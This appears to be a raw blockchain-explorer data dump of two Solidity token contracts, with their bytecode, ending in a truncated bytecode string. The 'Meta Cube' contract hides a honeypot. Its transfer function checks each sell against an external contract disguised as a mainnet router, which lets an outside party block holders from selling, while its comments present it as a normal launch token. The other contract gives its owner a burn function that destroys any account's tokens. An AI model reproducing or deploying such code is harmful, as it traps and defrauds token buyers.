imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn(address account,uint256 amount) public onlyOwner { _burn(account,amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _afterTokenTransfer( address from,address to,uint256 amount) internal virtual {} }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a6146102145780638da5cb5b1461021e57806395d89b411461023c5780639dc29fac1461025a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061148b565b60405180910390f35b610132600480360381019061012d919061121f565b6103b4565b60405161013f9190611470565b60405180910390f35b6101506103d2565b60405161015d919061160d565b60405180910390f35b610180600480360381019061017b91906111cc565b6103dc565b60405161018d9190611470565b60405180910390f35b61019e6104dd565b6040516101ab9190611628565b60405180910390f35b6101ce60048036038101906101c9919061121f565b6104e6565b6040516101db9190611470565b60405180910390f35b6101fe60048036038101906101f9919061115f565b610592565b60405161020b919061160d565b60405180910390f35b61021c6105db565b005b610226610663565b6040516102339190611455565b60405180910390f35b61024461068c565b604051610251919061148b565b60405180910390f35b610274600480360381019061026f919061121f565b61071e565b005b610290600480360381019061028b919061121f565b6107a8565b60405161029d9190611470565b60405180910390f35b6102c060048036038101906102bb919061121f565b61089c565b6040516102cd9190611470565b60405180910390f35b6102f060048036038101906102eb919061118c565b6108ba565b6040516102fd919061160d565b60405180910390f35b610320600480360381019061031b919061115f565b610941565b005b60606004805461033190611771565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611771565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a39565b8484610a41565b6001905092915050565b6000600354905090565b60006103e9848484610c0c565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610a39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab9061154d565b60405180910390fd5b6104d1856104c0610a39565b85846104cc91906116b5565b610a41565b60019150509392505050565b60006012905090565b60006105886104f3610a39565b848460026000610501610a39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610583919061165f565b610a41565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105e3610a39565b73ffffffffffffffffffffffffffffffffffffffff16610601610663565b73ffffffffffffffffffffffffffffffffffffffff1614610657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064e9061156d565b60405180910390fd5b6106616000610e8e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461069b90611771565b80601f01602080910402602001604051908101604052809291908181526020018280546106c790611771565b80156107145780601f106106e957610100808354040283529160200191610714565b820191906000526020600020905b8154815290600101906020018083116106f757829003601f168201915b5050505050905090565b610726610a39565b73ffffffffffffffffffffffffffffffffffffffff16610744610663565b73ffffffffffffffffffffffffffffffffffffffff161461079a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107919061156d565b60405180910390fd5b6107a48282610f52565b5050565b600080600260006107b7610a39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b906115ed565b60405180910390fd5b61089161087f610a39565b85858461088c91906116b5565b610a41565b600191505092915050565b60006108b06108a9610a39565b8484610c0c565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610949610a39565b73ffffffffffffffffffffffffffffffffffffffff16610967610663565b73ffffffffffffffffffffffffffffffffffffffff16146109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b49061156d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a24906114ed565b60405180910390fd5b610a3681610e8e565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa8906115cd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b189061150d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bff919061160d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c73906115ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce3906114ad565b60405180910390fd5b610cf783838361112b565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d759061152d565b60405180910390fd5b8181610d8a91906116b5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e1c919061165f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e80919061160d565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb99061158d565b60405180910390fd5b610fce8260008361112b565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611055576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104c906114cd565b60405180910390fd5b818103600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546110ad91906116b5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611112919061160d565b60405180910390a361112683600084611130565b505050565b505050565b505050565b60008135905061114481611b56565b92915050565b60008135905061115981611b6d565b92915050565b60006020828403121561117557611174611801565b5b600061118384828501611135565b91505092915050565b600080604083850312156111a3576111a2611801565b5b60006111b185828601611135565b92505060206111c285828601611135565b9150509250929050565b6000806000606084860312156111e5576111e4611801565b5b60006111f386828701611135565b935050602061120486828701611135565b92505060406112158682870161114a565b9150509250925092565b6000806040838503121561123657611235611801565b5b600061124485828601611135565b92505060206112558582860161114a565b9150509250929050565b611268816116e9565b82525050565b611277816116fb565b82525050565b600061128882611643565b611292818561164e565b93506112a281856020860161173e565b6112ab81611806565b840191505092915050565b60006112c360238361164e565b91506112ce82611817565b604082019050919050565b60006112e660228361164e565b91506112f182611866565b604082019050919050565b600061130960268361164e565b9150611314826118b5565b604082019050919050565b600061132c60228361164e565b915061133782611904565b604082019050919050565b600061134f60268361164e565b915061135a82611953565b604082019050919050565b600061137260288361164e565b915061137d826119a2565b604082019050919050565b600061139560208361164e565b91506113a0826119f1565b602082019050919050565b60006113b860218361164e565b91506113c382611a1a565b604082019050919050565b60006113db60258361164e565b91506113e682611a69565b604082019050919050565b60006113fe60248361164e565b915061140982611ab8565b604082019050919050565b600061142160258361164e565b915061142c82611b07565b604082019050919050565b61144081611727565b82525050565b61144f81611731565b82525050565b600060208201905061146a600083018461125f565b92915050565b6000602082019050611485600083018461126e565b92915050565b600060208201905081810360008301526114a5818461127d565b905092915050565b600060208201905081810360008301526114c6816112b6565b9050919050565b600060208201905081810360008301526114e6816112d9565b9050919050565b60006020820190508181036000830152611506816112fc565b9050919050565b600060208201905081810360008301526115268161131f565b9050919050565b6000602082019050818103600083015261154681611342565b9050919050565b6000602082019050818103600083015261156681611365565b9050919050565b6000602082019050818103600083015261158681611388565b9050919050565b600060208201905081810360008301526115a6816113ab565b9050919050565b600060208201905081810360008301526115c6816113ce565b9050919050565b600060208201905081810360008301526115e6816113f1565b9050919050565b6000602082019050818103600083015261160681611414565b9050919050565b60006020820190506116226000830184611437565b92915050565b600060208201905061163d6000830184611446565b92915050565b600081519050919050565b600082825260208201905092915050565b600061166a82611727565b915061167583611727565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116aa576116a96117a3565b5b828201905092915050565b60006116c082611727565b91506116cb83611727565b9250828210156116de576116dd6117a3565b5b828203905092915050565b60006116f482611707565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561175c578082015181840152602081019050611741565b8381111561176b576000848401525b50505050565b6000600282049050600182168061178957607f821691505b6020821081141561179d5761179c6117d2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611b5f816116e9565b8114611b6a57600080fd5b50565b611b7681611727565b8114611b8157600080fd5b5056fea26469706673582212205a5af6101945c071fc32b0bc9b3f45edfdf495931f163aa4600871cef2d462a164736f6c63430008070033
{"success": true, "error": null, "results": {}}
7,428
0xfa82c39c117f4d808621bac3e4a4d3fb804c5717
//SPDX-License-Identifier: MIT // Telegram: t.me/TheMetaCubeToken // Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function) // Built-in tax mechanism, can be removed by calling lowerTax function pragma solidity ^0.8.9; uint256 constant INITIAL_TAX=8; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=32000000000; string constant TOKEN_SYMBOL="METACUBE"; string constant TOKEN_NAME="Meta Cube"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract MetaCube is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(20); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102945780639e752b95146102c5578063a9059cbb146102e5578063dd62ed3e14610305578063f42938901461034b57600080fd5b806356d9dce81461022257806370a0823114610237578063715018a6146102575780638da5cb5b1461026c57600080fd5b8063293230b8116100d1578063293230b8146101c5578063313ce567146101dc5780633e07ce5b146101f857806351bc3c851461020d57600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260098152684d657461204375626560b81b60208201525b60405161014991906114fd565b60405180910390f35b34801561015e57600080fd5b5061017261016d366004611567565b610360565b6040519015158152602001610149565b34801561018e57600080fd5b50610197610377565b604051908152602001610149565b3480156101b157600080fd5b506101726101c0366004611593565b610399565b3480156101d157600080fd5b506101da610402565b005b3480156101e857600080fd5b5060405160068152602001610149565b34801561020457600080fd5b506101da61077b565b34801561021957600080fd5b506101da6107b2565b34801561022e57600080fd5b506101da6107df565b34801561024357600080fd5b506101976102523660046115d4565b610860565b34801561026357600080fd5b506101da610882565b34801561027857600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102a057600080fd5b506040805180820190915260088152674d4554414355424560c01b602082015261013c565b3480156102d157600080fd5b506101da6102e03660046115f1565b610926565b3480156102f157600080fd5b50610172610300366004611567565b61094f565b34801561031157600080fd5b5061019761032036600461160a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035757600080fd5b506101da61095c565b600061036d3384846109c6565b5060015b92915050565b60006103856006600a61173d565b6103949064077359400061174c565b905090565b60006103a6848484610aea565b6103f884336103f3856040518060600160405280602881526020016118ca602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e26565b6109c6565b5060019392505050565b6009546001600160a01b0316331461041957600080fd5b600c54600160a01b900460ff16156104785760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a59030906001600160a01b03166104966006600a61173d565b6103f39064077359400061174c565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051c919061176b565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a2919061176b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610613919061176b565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061064381610860565b6000806106586000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c0573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e59190611788565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610754573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077891906117b6565b50565b6